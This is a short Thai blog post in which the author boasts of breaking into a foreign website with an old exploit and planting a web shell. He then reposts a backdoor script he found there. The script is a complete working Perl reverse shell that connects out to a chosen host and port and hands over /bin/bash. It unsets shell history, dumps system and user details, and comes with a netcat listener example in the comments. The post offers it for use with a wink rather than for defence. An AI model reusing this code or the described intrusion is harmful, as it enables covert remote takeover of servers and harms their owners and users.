เรื่องมีอยู่ว่าผมไปซนเว็บต่างประเทศมาเว็บนึงจาก Exploit เดิมๆนั้นแหละ ไม่ขอเอ่ยว่า Exploit ไหน เว็บอะไรนะครับ ซนเข้าไปวาง Shell ได้แล้วก็สำรวจเครื่องดูเจอไฟล์ .pl แปลกๆเลยใช้บอทอ่านไฟล์ .pl นั้นดู ปรากฏว่าเป็น Back Connect ครับ สันนิฐานได้ว่าโดนเจาะมาก่อนผมแล้ว เลยเอาโค้ด Back Connect มาแปะไว้ที่บลอกดีกว่า ความจริงโค้ดชุดนี้ก็หาได้ตาม Google ทั่วไป ^^
#!/usr/bin/perl
use IO::Socket;
#Sleepwalker Connect Back Shell
#--== ConnectBack Backdoor Shell vs 1.0 by SW ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 1.0 by SW ==--
#
#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host
#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 2121
#--== ConnectBack Backdoor vs 1.0 by SW ==--
$system = '/bin/bash';
$ARGC=@ARGV;
print "--== ConnectBack Backdoor Shell vs 1.0 by SW ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor vs 1.0 by SW ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF
ส่วนวิธีใช้คงไม่ต้องบอกนะครับ :P
